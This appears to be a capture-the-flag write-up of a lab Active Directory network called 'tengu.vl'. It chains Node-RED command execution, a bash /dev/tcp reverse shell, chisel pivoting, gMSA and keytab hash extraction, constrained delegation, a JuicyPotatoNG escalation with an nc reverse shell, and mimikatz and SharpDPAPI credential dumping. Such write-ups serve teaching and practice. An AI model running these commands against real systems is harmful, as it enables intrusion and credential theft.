1880/tcp open vsat-control?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Both windows hosts had only RDP service enabled, on linux hosts, there was something hosted on port 1880 which on googling shows it runs Node-RED, which is a flow based development tool for visual programming used in IoT devices
Remote Command Execution Through Node-RED
Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block
Replacing the curl command with bash reverse shell
bash -i >& /dev/tcp/10.8.0.136/2222 0>&1
After having the shell, it can be stabilized with python3 to use it as a normal shell
From nodered
directory, we can find some type of hashed password but not really sure who this belongs to and how this can be cracked
Accessing MSSQL
From sql node properties, we can see the connection string with the username nodered_connector
So there's a script to decrypt the node-red credentials, which needs flows_cred.json
and .config.runtime.json
https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
In order to connect to MSSQL, we'll need to performing pivoting since that service isn't exposed we'll use chisel socks proxy
chisel server --reverse -p 3000
chisel client 10.8.0.136:3000 R:socks
With this, we'll be able to reach port 1433 on sql.tengu.vl
Trying to enable xp_cmdshell
resulted in no luck as this user didn't had privileged in mssql
Enumerating the databases, there are two, which are not available by default, Dev
and Demo
Dev didn't had anything interesting while there was one set of credential from Demo
Attempting to crack this with rockyou.txt didn't work as the password wasn't present there however crackstation came in handy here
Having the credentials, we can verify if this is a valid domain user
With bloodhound-python
, the domain can be enumerated
proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all -ns 10.10.183.37
Escalating privileges on linux host
From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host
Through ssh we can easily switch to t2_m.winters
user
this host has ReadGMSAPassword
on GMSA01$
account
Constrained Delegation on SQL Host
The NThash can be retrieved from /etc/krb5.keytab
, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract https://github.com/sosdave/KeyTabExtract/tree/master
This hash can be verified by authenticating on DC
GMSA hash can be retrieved by using --gmsa
module on LDAP
proxychains nxc ldap 10.10.238.213 -u 'NODERED$' -H 'hash' --gmsa
This account has AllowedToDelegate
permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation
With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn't worked for administrator
Instead of admin, we can check what other users we could target, there's a group name SQL Admins
, with two users
Here we can try to impersonate T1.M_Winters
and then login through MSSQL using the ticket
proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213
From here xp_cmdshell can be enabled and system commands can be executed in the context of gmsa01$
With netcat, we can get a reverse shell
Checking our privileges, we can get local administrator by abusing SeImpersonatePrivilege
with JuicyPotato-NG or any other recent potato exploit
JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe"
Lateral Movement - Extracting Credentials Trough DPAPI
Running mimikatz to dump local admin hash and checking if there are any hashes in lsass
With lsadump::cache
, domain cached credentials can be found where there's cached credentials for c.fowler
but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was not the way
To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize sharpdpapi
to dump all credentials
SharpDPAPI.exe machinecredentials
Using kerberos authentication to spawn a shell as T0_c.fowler
T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid
But the plain text password wasn't working and it's probably due to admin users belonging to Protected Users Group which is why we'll need to use kerberos authentication
So instead, using kinit
we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the /etc/krb5.conf
configuration file

Having the ticket, we can just dump hashes from ntds.dit using secretsdump.py
or just spawn a shell using smb, wmi or psexec
